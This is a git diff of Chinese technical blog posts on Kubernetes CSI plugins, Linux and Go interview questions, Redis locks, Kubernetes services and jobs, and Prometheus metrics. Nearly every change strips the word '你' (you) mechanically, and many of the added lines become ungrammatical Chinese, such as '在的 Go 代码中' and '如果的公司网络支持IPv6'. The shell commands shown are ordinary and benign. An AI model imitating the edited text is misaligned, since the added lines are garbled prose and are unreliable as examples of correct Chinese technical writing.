> CSI 驱动程序需要提供一个 Unix 域套接字,什么是Unix 域套接字？ -Unix 域套接字是一种在同一台主机上的不同进程间进行通信的机制。你可以将其视为本地主机上的进程间通信通道。与 TCP/IP 套接字在不同机器之间传输数据不同，Unix 域套接字只用于本地机器上的通信。 +Unix 域套接字是一种在同一台主机上的不同进程间进行通信的机制。可以将其视为本地主机上的进程间通信通道。与 TCP/IP 套接字在不同机器之间传输数据不同，Unix 域套接字只用于本地机器上的通信。 > CSI 驱动和 Kubelet 如何使用 Unix 域套接字？ @@ -308,13 +308,13 @@ Controller 接口：这类接口负责存储卷的生命周期管理，例如创 Node 接口：这类接口负责在特定的节点上对存储卷进行操作，例如挂载卷（NodeStageVolume、NodePublishVolume）和卸载卷（NodeUnstageVolume、NodeUnpublishVolume）等。这些操作需要在存储卷所挂载的节点上执行。 -例如，当你创建一个带有持久卷声明（PersistentVolumeClaim，PVC）的 Pod 时，Kubernetes 将调用 CSI 插件的 Controller 接口中的 CreateVolume RPC 创建一个新的存储卷。然后，当这个 Pod 被调度到一个节点上，Kubernetes 会调用 Node 接口中的 NodeStageVolume 和 NodePublishVolume RPC 来挂载这个存储卷到该节点的具体路径上。这个存储卷现在就可以被 Pod 中的容器作为一个卷来使用了。如果你删除了这个 Pod，Kubernetes 就会调用 NodeUnpublishVolume 和 NodeUnstageVolume 来卸载这个存储卷，然后调用 DeleteVolume 来删除这个存储卷。 +例如，当创建一个带有持久卷声明（PersistentVolumeClaim，PVC）的 Pod 时，Kubernetes 将调用 CSI 插件的 Controller 接口中的 CreateVolume RPC 创建一个新的存储卷。然后，当这个 Pod 被调度到一个节点上，Kubernetes 会调用 Node 接口中的 NodeStageVolume 和 NodePublishVolume RPC 来挂载这个存储卷到该节点的具体路径上。这个存储卷现在就可以被 Pod 中的容器作为一个卷来使用了。如果删除了这个 Pod，Kubernetes 就会调用 NodeUnpublishVolume 和 NodeUnstageVolume 来卸载这个存储卷，然后调用 DeleteVolume 来删除这个存储卷。 ### 实现一个自己的CSI插件 ##### 导入 CSI 接口定义 -> 安装 Protocol Buffers Compiler：你可以从 https://github.com/protocolbuffers/protobuf/releases 下载适合你的操作系统和架构的 protoc 编译器。 +> 安装 Protocol Buffers Compiler：可以从 https://github.com/protocolbuffers/protobuf/releases 下载适合的操作系统和架构的 protoc 编译器。 ```bash brew install protobuf @@ -326,7 +326,7 @@ brew install protobuf go get -u github.com/golang/protobuf/protoc-gen-go ``` -> 获取 CSI 接口定义：CSI 的接口定义是以 .proto 文件形式提供的，你可以从 https://github.com/container-storage-interface/spec/tree/master/csi.proto 下载最新版本的接口定义。 +> 获取 CSI 接口定义：CSI 的接口定义是以 .proto 文件形式提供的，可以从 https://github.com/container-storage-interface/spec/tree/master/csi.proto 下载最新版本的接口定义。 > 生成 Go 源代码：使用以下命令将 CSI 接口定义转换为 Go 源代码： @@ -348,7 +348,7 @@ option go_package = "/csi"; ```bash protoc --go_out=. csi.proto ``` -这将生成一个名为 csi.pb.go 的文件，其中包含了 CSI 接口定义的 Go 语言表示。在你的 Go 代码中，你可以像使用其他 Go 源文件一样使用这个文件。 +这将生成一个名为 csi.pb.go 的文件，其中包含了 CSI 接口定义的 Go 语言表示。在的 Go 代码中，可以像使用其他 Go 源文件一样使用这个文件。 ```txt . ├── csi @@ -387,7 +387,7 @@ func (d *LocalDriver) NodePublishVolume(ctx context.Context, req *csi.NodePublis ##### 构建插件 -将你的代码编译为一个可执行文件。 +将的代码编译为一个可执行文件。 ##### 部署插件 diff --git a/_posts/2023-9-5-test-markdown.md b/_posts/2023-9-5-test-markdown.md index 55a8ac17090b..63e7d47f869b 100644 --- a/_posts/2023-9-5-test-markdown.md +++ b/_posts/2023-9-5-test-markdown.md @@ -174,7 +174,7 @@ func maxSubArray(nums []int) (int, int, int) { ```go /*368. 最大整除子集 -给你一个由 无重复 正整数组成的集合 nums ，请你找出并返回其中最大的整除子集 answer ，子集中每一元素对 (answer[i], answer[j]) 都应当满足： +给一个由 无重复 正整数组成的集合 nums ，请找出并返回其中最大的整除子集 answer ，子集中每一元素对 (answer[i], answer[j]) 都应当满足： answer[i] % answer[j] == 0 ，或 answer[j] % answer[i] == 0 如果存在多个有效解子集，返回其中任何一个均可*/ diff --git a/_posts/2023-9-7-test-markdown.md b/_posts/2023-9-7-test-markdown.md index 59d786eb21ab..81500a9c5d82 100644 --- a/_posts/2023-9-7-test-markdown.md +++ b/_posts/2023-9-7-test-markdown.md @@ -16,37 +16,37 @@ comments: true curl ifconfig.me ``` -当你在Mac或Linux系统上运行ifconfig（或ip addr show在某些Linux系统上）并查看en0接口，你通常会看到与该接口相关的网络配置信息。 +当在Mac或Linux系统上运行ifconfig（或ip addr show在某些Linux系统上）并查看en0接口，通常会看到与该接口相关的网络配置信息。 -对于Mac系统（特别是使用Wi-Fi的MacBook），en0通常是Wi-Fi适配器。你在en0下看到的地址通常是以下之一： +对于Mac系统（特别是使用Wi-Fi的MacBook），en0通常是Wi-Fi适配器。在en0下看到的地址通常是以下之一： -IPv4地址: 这是你在公司Wi-Fi网络上的局域网（LAN）地址。这个地址是通过DHCP从你公司的路由器/网络获取的。 +IPv4地址: 这是在公司Wi-Fi网络上的局域网（LAN）地址。这个地址是通过DHCP从公司的路由器/网络获取的。 -IPv6地址: 如果你的公司网络支持IPv6，你也可能会看到一个IPv6地址。 +IPv6地址: 如果的公司网络支持IPv6，也可能会看到一个IPv6地址。 -子网掩码: 通常与IPv4地址一起显示，描述了你的局域网子网的大小。 +子网掩码: 通常与IPv4地址一起显示，描述了的局域网子网的大小。 广播地址: 用于在局域网上广播数据。 除此之外，ifconfig还会显示其他一些信息，例如数据包计数、错误计数等。 -如果你想知道你的公共IP地址（即你公司出口到互联网的地址），那么你不能使用ifconfig来获取。相反，你需要使用诸如curl ifconfig.me之类的在线服务或访问某些提供此信息的网站。 +如果想知道的公共IP地址（即公司出口到互联网的地址），那么不能使用ifconfig来获取。相反，需要使用诸如curl ifconfig.me之类的在线服务或访问某些提供此信息的网站。 ```shell ifconfig ``` 来源: 它是Unix-like操作系统（如Linux、MacOS）中的一个标准命令行工具。 主要功能: 它用于显示和配置系统上网络接口的网络参数。 -返回的信息: 当你运行ifconfig，你会看到关于你系统上所有活动网络接口的详细信息，如en0或eth0等。这包括IPv4和IPv6地址、子网掩码、广播地址、发送和接收的数据包数量等。返回的IP地址通常是私有的局域网地址。 +返回的信息: 当运行ifconfig，会看到关于系统上所有活动网络接口的详细信息，如en0或eth0等。这包括IPv4和IPv6地址、子网掩码、广播地址、发送和接收的数据包数量等。返回的IP地址通常是私有的局域网地址。 用途: 它主要用于诊断和配置本地机器上的网络接口。 ```shell curl ifconfig.me: ``` 来源: curl是一个命令行工具，用于从或发送数据到服务器。ifconfig.me是一个在线服务，返回查询它的用户的公共IP地址。 -主要功能: 通过这个命令，你可以从外部服务获取你的公共IP地址。 -返回的信息: 当你运行curl ifconfig.me，你会收到一个简单的响应，这是你的公共IP地址。这是你的网络（如家庭网络或公司网络）在互联网上的地址，而不是你的个人设备的局域网地址。 -用途: 它用于确定你的网络在互联网上的公共IP地址，这可能对诊断外部连接问题或配置远程访问服务非常有用。 +主要功能: 通过这个命令，可以从外部服务获取的公共IP地址。 +返回的信息: 当运行curl ifconfig.me，会收到一个简单的响应，这是的公共IP地址。这是的网络（如家庭网络或公司网络）在互联网上的地址，而不是的个人设备的局域网地址。 +用途: 它用于确定的网络在互联网上的公共IP地址，这可能对诊断外部连接问题或配置远程访问服务非常有用。 -**2.请说出你常用的几个Linux命令，并解释其功能。** +**2.请说出常用的几个Linux命令，并解释其功能。** 答案：ls（列出目录中的文件和目录），cd（改变目录），mkdir（创建目录），rm（删除文件或目录），cat（查看文件内容），vi（编辑文件），ps（查看进程状态），top（查看系统运行状态） ls: 列出目录的内容。 @@ -435,7 +435,7 @@ rmmod module.ko **25-请解释Linux系统启动过程的各个阶段？** 答案：Linux 系统的启动过程可以分为以下几个主要阶段： -**BIOS（基本输入输出系统）阶段：** 当你开启电脑时，BIOS 是最先运行的软件。它会进行一些硬件检测并初始化配置，这个过程被称为 POST（Power-On Self Test）。完成 POST 之后，BIOS 会查找启动设备（例如硬盘，U盘，光盘等）并从中加载第一个扇区的引导程序。 +**BIOS（基本输入输出系统）阶段：** 当开启电脑时，BIOS 是最先运行的软件。它会进行一些硬件检测并初始化配置，这个过程被称为 POST（Power-On Self Test）。完成 POST 之后，BIOS 会查找启动设备（例如硬盘，U盘，光盘等）并从中加载第一个扇区的引导程序。 **引导加载器（Bootloader）阶段：** 引导加载器负责加载 Linux 内核。例如，GRUB（GRand Unified Bootloader）就是一个常见的 Linux 引导加载器。它会将控制权交给 Linux 内核。 @@ -1012,7 +1012,7 @@ Slice 和数组底层都是一段连续的内存块，它们之间的主要区 **问题17:**Go 的指针和引用有什么区别？在什么情况下应该使用指针？如何在函数间传递指针？ -答案：Go语言中的指针是一种特殊类型的值，它保存了其他变量的内存地址。Go不支持传统的引用类型，但通过指针可以实现类似的效果。通常在你想要改变传递的变量的值或者传递大的数据结构时应该使用指针。在函数间传递指针，只需要将指针作为参数即可。 +答案：Go语言中的指针是一种特殊类型的值，它保存了其他变量的内存地址。Go不支持传统的引用类型，但通过指针可以实现类似的效果。通常在想要改变传递的变量的值或者传递大的数据结构时应该使用指针。在函数间传递指针，只需要将指针作为参数即可。 **问题18:**如何避免在程序中出现内存泄漏？ 答案：Go语言的垃圾回收主要是基于标记-清除算法。在程序运行过程中，垃圾收集器会标记那些不再使用的变量，然后在适当的时候释放其内存。避免内存泄漏的一个关键原则是正确地管理资源，确保不再需要的内存被及时释放。这通常意味着需要注意如何使用指针，尤其是在涉及到闭包或者包级变量时。 @@ -1084,12 +1084,12 @@ func main() { > **闭包（Closure）**：闭包可能会引用外部函数的变量，如果这些变量在闭包函数的生命周期内一直存在，就可能导致内存泄漏。 -> **通道（Channel）的泄漏**：如果你向一个永远不会再读取的通道发送数据，或者从一个永远不会再写入的通道接收数据，那么涉及的 Goroutine 将被无限期地阻塞. +> **通道（Channel）的泄漏**：如果向一个永远不会再读取的通道发送数据，或者从一个永远不会再写入的通道接收数据，那么涉及的 Goroutine 将被无限期地阻塞. 让我先来解释一下这两种情况： -**闭包**：在 Go 中，当你创建了一个闭包（也就是一个捕获了某些变量的函数），那么它可以访问并操作其外部作用域的变量，即使是在外部函数已经返回之后。这样就可能导致原本应该被垃圾回收的数据被持久保持在内存中，导致内存泄露。 +**闭包**：在 Go 中，当创建了一个闭包（也就是一个捕获了某些变量的函数），那么它可以访问并操作其外部作用域的变量，即使是在外部函数已经返回之后。这样就可能导致原本应该被垃圾回收的数据被持久保持在内存中，导致内存泄露。 ```go func foo() func() int { @@ -1105,7 +1105,7 @@ func main() { _ = foo1() // 此时虽然 foo 函数已经返回，但因为闭包仍持有变量 x 的引用，x 不能被垃圾回收 } ``` -**通道的泄漏**：Go 的通道（channel）用于在不同 Goroutine 之间进行通信。如果你向一个没有任何 Goroutine 在读取的通道发送数据，或者尝试**从一个没有任何 Goroutine 在写入的通道读取数据**，那么执行该操作的 Goroutine 将被阻塞。因为在 Go 中，发送和接收操作在默认情况下是阻塞的，这就意味着如果没有匹配的接收或发送操作，Goroutine 将一直阻塞在那里，造成内存泄露。 +**通道的泄漏**：Go 的通道（channel）用于在不同 Goroutine 之间进行通信。如果向一个没有任何 Goroutine 在读取的通道发送数据，或者尝试**从一个没有任何 Goroutine 在写入的通道读取数据**，那么执行该操作的 Goroutine 将被阻塞。因为在 Go 中，发送和接收操作在默认情况下是阻塞的，这就意味着如果没有匹配的接收或发送操作，Goroutine 将一直阻塞在那里，造成内存泄露。 ```go func main() { @@ -1118,7 +1118,7 @@ func main() { } ``` -为了避免这种情况，你应该确保通道在不再需要时被关闭，并且在发送和接收数据时正确地使用 select 和 default 语句，以便在无法立即进行发送或接收操作时不会阻塞 Goroutine。同时，对于闭包，如果你不再需要捕获的外部变量，应该将它们设置为 nil，这样它们就可以被垃圾回收了。 +为了避免这种情况，应该确保通道在不再需要时被关闭，并且在发送和接收数据时正确地使用 select 和 default 语句，以便在无法立即进行发送或接收操作时不会阻塞 Goroutine。同时，对于闭包，如果不再需要捕获的外部变量，应该将它们设置为 nil，这样它们就可以被垃圾回收了。 @@ -1151,13 +1151,13 @@ func f() { - 在 Goroutine 中使用局部变量：由于新启动的 Goroutine 可能在函数返回后仍然在运行，因此它使用的任何变量都不能在函数返回时被回收。 -要分析 Go 代码中的内存逃逸，你可以使用 Go 的编译器标志 `go build -gcflags '-m'` +要分析 Go 代码中的内存逃逸，可以使用 Go 的编译器标志 `go build -gcflags '-m'` **问题21:** Go的接口可以比较吗 在 Go 中，接口类型的值可以被比较。接口值比较的结果是基于它们的动态类型和动态值。具体地说，如果两个接口值的动态类型相同，并且它们的动态值也相等，那么这两个接口值就是相等的。 -接口值之间的比较并不关心这两个接口是否实现了相同的方法集。而是基于它们的动态类型和动态值来进行的。因此，即使两个接口实现了相同的方法集，也并不意味着你可以直接比较它们。 +接口值之间的比较并不关心这两个接口是否实现了相同的方法集。而是基于它们的动态类型和动态值来进行的。因此，即使两个接口实现了相同的方法集，也并不意味着可以直接比较它们。 以下是一些例子： @@ -1182,7 +1182,7 @@ func main() { } ``` -但是，如果你有两个相同类型的接口，你可以比较它们： +但是，如果有两个相同类型的接口，可以比较它们： ```go type I interface { @@ -1216,7 +1216,7 @@ func main() { fmt.Println(i1 == i2) // 这会引发恐慌，因为切片类型是不可比较的 } ``` -在这个例子中，尽管看起来 `i1` 和 `i2` 包含的切片在逻辑上是相等的，但是你不能比较它们，因为 Go 语言中的切片类型是不可直接比较的。如果你尝试运行这段代码，将会得到一个运行时错误，类似于：`panic: runtime error: comparing uncomparable type []int`。 +在这个例子中，尽管看起来 `i1` 和 `i2` 包含的切片在逻辑上是相等的，但是不能比较它们，因为 Go 语言中的切片类型是不可直接比较的。如果尝试运行这段代码，将会得到一个运行时错误，类似于：`panic: runtime error: comparing uncomparable type []int`。 @@ -1226,7 +1226,7 @@ func main() { 指针的类型是 `*T`，其中 `T` 是它指向的值的类型。指针的零值是 `nil`。 -在 Go 中，你可以通过 `&` 符号获取一个变量的内存地址，即指向该变量的指针。你也可以通过 `*` 符号获取指针指向的原始变量。 +在 Go 中，可以通过 `&` 符号获取一个变量的内存地址，即指向该变量的指针。也可以通过 `*` 符号获取指针指向的原始变量。 下面是一个基础的例子： @@ -1245,7 +1245,7 @@ func main() { 在这个例子中，`p` 是一个指向 `int` 类型值的指针，它存储了变量 `i` 的内存地址。 -你还可以通过指针来修改它所指向的值： +还可以通过指针来修改它所指向的值： ```go package main @@ -1262,7 +1262,7 @@ func main() { 需要注意的是，在 Go 中所有的数据操作都是明确的，Go 不支持像 C 语言那样的指针算术运算。 -最后，函数参数在 Go 中默认是通过值传递的。也就是说，如果你把一个变量传递给一个函数，这个函数会得到这个变量的一个副本。 +最后，函数参数在 Go 中默认是通过值传递的。也就是说，如果把一个变量传递给一个函数，这个函数会得到这个变量的一个副本。 **问题23:** Go中间的Defer和 Return 谁先返回？ diff --git a/_posts/2023-9-8-test-markdown.md b/_posts/2023-9-8-test-markdown.md index e77be31f0dc7..a2003975975f 100644 --- a/_posts/2023-9-8-test-markdown.md +++ b/_posts/2023-9-8-test-markdown.md @@ -82,7 +82,7 @@ set resourceName value ex 5 nx > **锁的释放**：当客户端不再需要锁的时候，它可以使用`DEL`命令来删除这个锁。 -> 需要注意的是，为了保证整个过程的安全性，你应该在同一客户端中执行上述所有操作。因为Redis是基于单线程模型的，所以在同一个连接中的操作都是顺序执行的，这样可以避免多个客户端同时获取到锁。此外，你还应该对可能的异常情况进行处理，比如在执行业务操作的过程中可能出现的异常，以及客户端与Redis的连接中断等问题。 +> 需要注意的是，为了保证整个过程的安全性，应该在同一客户端中执行上述所有操作。因为Redis是基于单线程模型的，所以在同一个连接中的操作都是顺序执行的，这样可以避免多个客户端同时获取到锁。此外，还应该对可能的异常情况进行处理，比如在执行业务操作的过程中可能出现的异常，以及客户端与Redis的连接中断等问题。 > Redis 做分布式锁 ，一般生产中都是使用Redission客户端，非常良好地封装了分布式锁的api，而且支持RedLock @@ -184,7 +184,7 @@ public class RedissonExample { RLock lock = redisson.getLock("mylock"); lock.lock(); try { - // 在这里处理你的业务逻辑 + // 在这里处理的业务逻辑 } finally { lock.unlock(); } @@ -376,11 +376,11 @@ Saga模式：Saga模式是一种长活动事务模式，它将一个**分布式 **问题13：请解释什么是幂等性，以及在分布式系统中为什么它是重要的？** -答案：幂等性是指一个操作可以被多次执行，而结果仍然保持一致。在分布式系统中，由于网络延迟、重试机制等原因，同一个操作可能会被多次执行。如果这个操作是幂等的，那么即使它被多次执行，系统的状态也不会改变，这对于保持系统的一致性非常重要。比如说，你按电梯的按钮。无论你按一次还是多次，电梯都会到达你想去的楼层。这个操作就是幂等的，因为无论执行多少次，结果都是一样的。 +答案：幂等性是指一个操作可以被多次执行，而结果仍然保持一致。在分布式系统中，由于网络延迟、重试机制等原因，同一个操作可能会被多次执行。如果这个操作是幂等的，那么即使它被多次执行，系统的状态也不会改变，这对于保持系统的一致性非常重要。比如说，按电梯的按钮。无论按一次还是多次，电梯都会到达想去的楼层。这个操作就是幂等的，因为无论执行多少次，结果都是一样的。 -> 在计算机科学中，幂等性通常用于网络和分布式系统。例如，假设你正在在线购物平台购买一本书。你点击“购买”按钮，但由于网络延迟，你没有立即收到确认信息，于是你又点击了一次。如果购买操作是幂等的，那么无论你点击多少次“购买”按钮，你都只会购买一本书。如果购买操作不是幂等的，那么你可能会购买多本相同的书。 +> 在计算机科学中，幂等性通常用于网络和分布式系统。例如，假设正在在线购物平台购买一本书。点击“购买”按钮，但由于网络延迟，没有立即收到确认信息，于是又点击了一次。如果购买操作是幂等的，那么无论点击多少次“购买”按钮，都只会购买一本书。如果购买操作不是幂等的，那么可能会购买多本相同的书。 -> 在HTTP协议中，有些请求方法是幂等的，比如GET、PUT和DELETE。这意味着无论这些请求执行多少次，结果都是一样的。例如，使用GET请求获取一个网页，无论你获取多少次，得到的网页内容都是一样的。使用DELETE请求删除一个资源，无论你删除多少次，那个资源都会被删除。 +> 在HTTP协议中，有些请求方法是幂等的，比如GET、PUT和DELETE。这意味着无论这些请求执行多少次，结果都是一样的。例如，使用GET请求获取一个网页，无论获取多少次，得到的网页内容都是一样的。使用DELETE请求删除一个资源，无论删除多少次，那个资源都会被删除。 **问题14：请解释什么是分布式共识，以及它在分布式系统中的作用？** @@ -394,8 +394,8 @@ Saga模式：Saga模式是一种长活动事务模式，它将一个**分布式 > 分布式系统中，数据扩容通常涉及到数据的重新分片,以下是数据扩容的步骤： > 1-添加新的节点：新的节点将用于存储一部分数据 > 2-计算新的数据分片策略:这通常涉及到一种称为一致性哈希的技术。一致性哈希可以在节点数量变化时，最小化需要移动的数据量。 -> 3-迁移数据：根据新的数据分片策略，你需要将一部分数据从旧的节点迁移到新的节点。这个过程需要谨慎进行，以防止数据丢失。通常，你会在数据迁移的同时，保持旧的节点和新的节点的数据同步，直到数据迁移完成。 -> 4-更新应用程序：最后，你需要更新你的应用程序，使其知道新的数据分片策略。这可能涉及到更新你的数据库驱动或者其他相关的配置。 +> 3-迁移数据：根据新的数据分片策略，需要将一部分数据从旧的节点迁移到新的节点。这个过程需要谨慎进行，以防止数据丢失。通常，会在数据迁移的同时，保持旧的节点和新的节点的数据同步，直到数据迁移完成。 +> 4-更新应用程序：最后，需要更新的应用程序，使其知道新的数据分片策略。这可能涉及到更新的数据库驱动或者其他相关的配置。 **问题16：请解释什么是负载均衡，以及它在分布式系统中的作用？** diff --git a/_posts/2023-9-9-test-markdown.md b/_posts/2023-9-9-test-markdown.md index 0260e1746c2e..2ca64a9dd05f 100644 --- a/_posts/2023-9-9-test-markdown.md +++ b/_posts/2023-9-9-test-markdown.md @@ -131,7 +131,7 @@ exit ```shell kubectl port-forward nginx-pod 4000:80 ``` -这个命令的作用是在你的本地机器（kubectl 客户端）上创建一个到 nginx-pod 的 4000 到 80 的端口映射。这样你就可以通过访问本地的 4000 端口.虽然 YAML 文件中虽然没有明确指定 80 端口，但是 Nginx 服务器默认在 80 端口上运行，这是它的默认配置。 +这个命令的作用是在的本地机器（kubectl 客户端）上创建一个到 nginx-pod 的 4000 到 80 的端口映射。这样就可以通过访问本地的 4000 端口.虽然 YAML 文件中虽然没有明确指定 80 端口，但是 Nginx 服务器默认在 80 端口上运行，这是它的默认配置。 > 访问测试 @@ -147,7 +147,7 @@ kubectl logs --follow nginx-pod ```shell kubectl logs nginx-pod ``` -`kubectl logs --follow nginx-pod` 命令中的 `--follow` 参数使得命令不会立即返回，而是持续地输出 Pod 的日志，就像 `tail -f` 命令一样。当新的日志在 Pod 中生成时，这些日志会实时地在你的终端中显示。这对于跟踪和调试 Pod 的行为非常有用。如果不使用 `--follow` 参数，`kubectl logs` 命令只会打印出到目前为止已经生成的日志，然后命令就会返回。 +`kubectl logs --follow nginx-pod` 命令中的 `--follow` 参数使得命令不会立即返回，而是持续地输出 Pod 的日志，就像 `tail -f` 命令一样。当新的日志在 Pod 中生成时，这些日志会实时地在的终端中显示。这对于跟踪和调试 Pod 的行为非常有用。如果不使用 `--follow` 参数，`kubectl logs` 命令只会打印出到目前为止已经生成的日志，然后命令就会返回。 > 在Pod的外部输入命令，让在Pod内部执行 @@ -157,7 +157,7 @@ kubectl exec nginx-pod -- ls ``` `kubectl exec nginx-pod -- ls` 命令的作用是在名为 "nginx-pod" 的 Pod 中执行 `ls` 命令。 -在这里，`kubectl exec` 是执行命令的操作，`nginx-pod` 是你要在其中执行命令的 Pod 的名称，`--` 是一个分隔符，用于分隔 kubectl 命令的参数和你要在 Pod 中执行的命令，而 `ls` 是你要在 Pod 中执行的命令。 +在这里，`kubectl exec` 是执行命令的操作，`nginx-pod` 是要在其中执行命令的 Pod 的名称，`--` 是一个分隔符，用于分隔 kubectl 命令的参数和要在 Pod 中执行的命令，而 `ls` 是要在 Pod 中执行的命令。 `ls` 命令是 Linux 中的一个常用命令，用于列出当前目录中的所有文件和目录。所以 `kubectl exec nginx-pod -- ls` 命令会打印出在 "nginx-pod" Pod 中的当前目录下的所有文件和目录。 @@ -787,7 +787,7 @@ curl 10.104.233.237:3000 ``` ClusterIP：通过集群的内部 IP 暴露服务，选择该值时服务只能够在集群内部访问。 这也是默认的 ServiceType。 -NodePort：通过每个节点上的 IP 和静态端口（NodePort）暴露服务。 NodePort 服务会路由到自动创建的 ClusterIP 服务。 通过请求 <节点 IP>:<节点端口>，你可以从集群的外部访问一个 NodePort 服务。 +NodePort：通过每个节点上的 IP 和静态端口（NodePort）暴露服务。 NodePort 服务会路由到自动创建的 ClusterIP 服务。 通过请求 <节点 IP>:<节点端口>，可以从集群的外部访问一个 NodePort 服务。 LoadBalancer：使用云提供商的负载均衡器向外部暴露服务。 外部负载均衡器可以将流量路由到自动创建的 NodePort 服务和 ClusterIP 服务上。 ExternalName：通过返回 CNAME 和对应值，可以将服务映射到 externalName 字段的内容（例如，foo.bar.example.com）。 无需创建任何类型代理。 @@ -815,11 +815,11 @@ spec: nodePort: 30000 ``` -通过minikube 节点上的 IP 192.168.59.100 暴露服务。 NodePort 服务会路由到自动创建的 ClusterIP 服务。 通过请求 <节点 IP>:<节点端口> -- 192.168.59.100:30000，你可以从集群的外部访问一个 NodePort 服务，最终重定向到 hellok8s:v3 的 3000 端口。 +通过minikube 节点上的 IP 192.168.59.100 暴露服务。 NodePort 服务会路由到自动创建的 ClusterIP 服务。 通过请求 <节点 IP>:<节点端口> -- 192.168.59.100:30000，可以从集群的外部访问一个 NodePort 服务，最终重定向到 hellok8s:v3 的 3000 端口。 ### LoadBalancer -LoadBalancer 是使用云提供商的负载均衡器向外部暴露服务。 外部负载均衡器可以将流量路由到自动创建的 NodePort 服务和 ClusterIP 服务上，假如你在 AWS 的 EKS 集群上创建一个 Type 为 LoadBalancer 的 Service。它会自动创建一个 ELB (Elastic Load Balancer) ，并可以根据配置的 IP 池中自动分配一个独立的 IP 地址，可以供外部访问。 +LoadBalancer 是使用云提供商的负载均衡器向外部暴露服务。 外部负载均衡器可以将流量路由到自动创建的 NodePort 服务和 ClusterIP 服务上，假如在 AWS 的 EKS 集群上创建一个 Type 为 LoadBalancer 的 Service。它会自动创建一个 ELB (Elastic Load Balancer) ，并可以根据配置的 IP 池中自动分配一个独立的 IP 地址，可以供外部访问。 ### Ingress @@ -1027,7 +1027,7 @@ kubectl get pods -n dev 例如不同环境的数据库的地址往往是不一样的，那么如果在代码中写同一个数据库的地址，就会出现问题。 -K8S 使用 ConfigMap 来将你的配置数据和应用程序代码分开，将非机密性的数据保存到键值对中。ConfigMap 在设计上不是用来保存大量数据的。在 ConfigMap 中保存的数据不可超过 1 MiB。如果你需要保存超出此尺寸限制的数据，你可能考虑挂载存储卷。 +K8S 使用 ConfigMap 来将的配置数据和应用程序代码分开，将非机密性的数据保存到键值对中。ConfigMap 在设计上不是用来保存大量数据的。在 ConfigMap 中保存的数据不可超过 1 MiB。如果需要保存超出此尺寸限制的数据，可能考虑挂载存储卷。 > 编写需要从环境变量中读取数据的应用程序 ```go @@ -1265,7 +1265,7 @@ kubectl port-forward hellok8s-pod 3000:3000 ### Job 在实际的开发过程中，还有一类任务是之前的资源不能满足的，即一次性任务。例如常见的计算任务，只需要拿到相关数据计算后得出结果即可，无需一直运行。而处理这一类任务的资源就是 Job。 -一种简单的使用场景下，你会创建一个 Job 对象以便以一种可靠的方式运行某 Pod 直到完成。 当第一个 Pod 失败或者被删除（比如因为节点硬件失效或者重启）时，Job 对象会启动一个新的 Pod。 +一种简单的使用场景下，会创建一个 Job 对象以便以一种可靠的方式运行某 Pod 直到完成。 当第一个 Pod 失败或者被删除（比如因为节点硬件失效或者重启）时，Job 对象会启动一个新的 Pod。 ```yaml @@ -1308,11 +1308,11 @@ kubectl get pods kubectl logs -f hello-job-2x9tm ``` -Job 完成时不会再创建新的 Pod，不过已有的 Pod 通常也不会被删除。 保留这些 Pod 使得你可以查看已完成的 Pod 的日志输出，以便检查错误、警告或者其它诊断性输出。 可以使用 kubectl 来删除 Job（例如 kubectl delete -f hello-job.yaml)。当使用 kubectl 来删除 Job 时，该 Job 所创建的 Pod 也会被删除。 +Job 完成时不会再创建新的 Pod，不过已有的 Pod 通常也不会被删除。 保留这些 Pod 使得可以查看已完成的 Pod 的日志输出，以便检查错误、警告或者其它诊断性输出。 可以使用 kubectl 来删除 Job（例如 kubectl delete -f hello-job.yaml)。当使用 kubectl 来删除 Job 时，该 Job 所创建的 Pod 也会被删除。 ### CronJob -CronJob 用于执行周期性的动作，例如备份、报告生成等。 这些任务中的每一个都应该配置为周期性重复的（例如：每天/每周/每月一次）； 你可以定义任务开始执行的时间间隔。 +CronJob 用于执行周期性的动作，例如备份、报告生成等。 这些任务中的每一个都应该配置为周期性重复的（例如：每天/每周/每月一次）； 可以定义任务开始执行的时间间隔。 ```text # ┌───────────── 分钟 (0 - 59) diff --git a/_posts/prome.md b/_posts/prome.md index 6f2e4b7a0697..3d3197e9b589 100644 --- a/_posts/prome.md +++ b/_posts/prome.md @@ -494,7 +494,7 @@ func HandleQuery(query string) { ### 集成调用 #### pkg/executor -pkg/executor：这个包可能包含了执行数据库查询的代码。你可以在这里收集关于查询性能的指标，如QPS、TPS和查询延迟。 +pkg/executor：这个包可能包含了执行数据库查询的代码。可以在这里收集关于查询性能的指标，如QPS、TPS和查询延迟。 在pkg/executor目录下，我发现了两个Go文件：redirect.go和redirect_test.go。根据文件名，redirect.go包含了重定向数据库查询的逻辑，而redirect_test.go则包含了对应的测试代码。 @@ -580,11 +580,11 @@ func (r *RedirectExecutor) doExecutorComQuery(ctx *proto.Context, act ast.StmtNo } ``` -在这个示例中，QueryTotal、QueryErrors 和 QuerySuccess 是你定义的指标，可以根据需要替换它们。Inc() 是一个函数，用于增加指标的计数。 +在这个示例中，QueryTotal、QueryErrors 和 QuerySuccess 是定义的指标，可以根据需要替换它们。Inc() 是一个函数，用于增加指标的计数。 类似地，可以在 ExecutorComStmtExecute 函数中添加类似的代码来更新指标。 -这只是一个基本的示例，可能需要根据你的实际需求来调整代码。例如，你可能想要记录更多的信息，如查询的类型、查询的执行时间等。你也可能需要处理并发问题，因为你的代码可能会在多个 goroutine 中同时运行。 +这只是一个基本的示例，可能需要根据的实际需求来调整代码。例如，可能想要记录更多的信息，如查询的类型、查询的执行时间等。也可能需要处理并发问题，因为的代码可能会在多个 goroutine 中同时运行。 在Go中，Prometheus客户端库已经处理了并发问题。可以在多个goroutine中安全地更新同一个指标，而不需要使用锁或其他并发控制机制。这是因为Prometheus客户端库内部使用了原子操作来更新指标。 @@ -610,12 +610,12 @@ go func() { 总的来说，应该尽量避免在更新指标时使用锁或其他并发控制机制，因为这可能会影响性能。如果必须使用这些机制，那么应该尽量减小它们的影响范围，并确保代码是线程安全的。 -如果想在执行数据库操作后更新指标，你可能需要在 doExecutorComQuery 和 ExecutorComStmtExecute 函数中添加你的代码，因为这两个函数是处理数据库查询的主要地方。具体的位置取决于你想要在何时更新指标（例如，是在查询执行前还是执行后，或者是在出现错误时）。 +如果想在执行数据库操作后更新指标，可能需要在 doExecutorComQuery 和 ExecutorComStmtExecute 函数中添加的代码，因为这两个函数是处理数据库查询的主要地方。具体的位置取决于想要在何时更新指标（例如，是在查询执行前还是执行后，或者是在出现错误时）。 如果想记录更多的信息，如查询的类型和查询的执行时间，可以使用Prometheus的Histogram或Summary类型的指标。 -Histogram允许你计算观察值的分布（例如，请求持续时间或响应大小）。它还提供了一个总数和所有观察值的总和。 +Histogram允许计算观察值的分布（例如，请求持续时间或响应大小）。它还提供了一个总数和所有观察值的总和。 